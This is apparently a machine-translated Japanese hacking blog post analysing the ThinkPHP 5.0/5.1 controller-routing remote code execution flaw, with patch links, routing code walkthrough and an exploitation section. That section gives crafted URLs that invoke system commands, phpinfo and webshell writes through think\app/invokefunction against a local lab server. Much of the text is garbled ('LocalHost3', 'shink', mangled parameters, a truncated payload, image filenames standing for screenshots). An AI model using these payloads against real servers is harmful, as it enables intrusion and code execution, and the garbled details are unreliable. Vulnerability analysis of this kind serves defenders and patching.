Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86391883

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00序文

ThinkPhpのオフィシャルは、2018年12月9日に重要なセキュリティアップデートをリリースし、深刻なリモートコード実行の脆弱性を修正しました。この更新には、主にセキュリティアップデートが含まれます。フレームワークはコントローラー名の十分な検出を実行しないため、強制ルーティングを有効にすることなく、ゲッシェルの脆弱性の可能性につながります。影響を受けるバージョンにはバージョン5.0と5.1が含まれており、できるだけ早く最新バージョンに更新することをお勧めします。

0x01衝撃の範囲

5.x 5.1.31、=5.0.23

0x02脆弱性分析

ThinkPhp v5.0.xパッチアドレス:3https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

thinkphp v5.1.xパッチアドレス:3359github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

ルーティング情報のコントローラーパーツはフィルタリングされており、ルーティングスケジューリング中に問題が発生することがわかります。

キーコード:

l51fgravy5x8641.png

このプログラムは、修正前にコントローラーをフィルタリングせず、攻撃者は\シンボルを導入してクラスメソッドを呼び出しました。

w4iz1ihsnnf8642.png

$ this-app-controllerメソッドは、コントローラーをインスタンス化するために使用され、インスタンスのメソッドが呼び出されます。コントローラーメソッドのフォローアップ:

$モジュールと$クラスは、parsemoduleandclassメソッドを介して解析され、$ classがインスタンス化されます。

lrf01ixx55a8643.png

parsemoduleandclassメソッドでは、$ nameがBackslash \で始まると、クラス名として直接使用されます。名前空間を利用して、$ name(つまり、ルートのコントローラーパーツ)を制御できれば、任意のクラスをインスタンス化できます。

次に、ルーティングコードを振り返ります。ルート/ディスパッチ/url.php: parseurlメソッドコールルート/ルール。pathinfoのルーティング情報を解析するPhp: parseurlpath

fogz5ocpglm8644.png

コードは比較的単純で、フィルタリングなしで/セグメント$ URLを使用することです。

ルートURLはrequest:3360path()から取得されます

jscfupdrxdw8645.png

var_pathinfoのデフォルト構成はsであるため、$ _get ['s']を使用してルーティング情報を渡すことができます。ただし、テスト中に、$ _Server ['pathinfo'] \ in \ in \ in Windows環境に置き換えられます。以前の分析と組み合わせることで、次のように予備コードを取得できます:index.php?s=index/\ namespace \ class/method。

0x03エクスプロイト

Dockerの脆弱性環境ソースコード:https://Github.com/vulnspy/Thinkphp-5.1.29

ローカル環境:thinkphp5.0.15+php5.6n+apache2.0

http://www.thinkphp.cn/donate/download/id/1125.html

1.システム関数を使用して、リモートコマンドを実行します

http://LocalHost3:9096/public/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

aevzbudkimv8646.png

2。phpinfo関数を介してphpinfo()の情報を書く

http://LocalHost3:9096/public/index.php?s=index/\ sink \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1

c4i5v0ax02k8647.png

3。Shell:に書き込みます

http://LOCALHOST:9096/public/index.php?s=/\ \ shink \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=echo%20^%3c?php%20@ham

xrlrbkoxctb8648.png

または

http://LocalHost3:9096/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [1] [] []=./test.phpvars []=?php echo 'ok'

g5yfmymv43z8649.png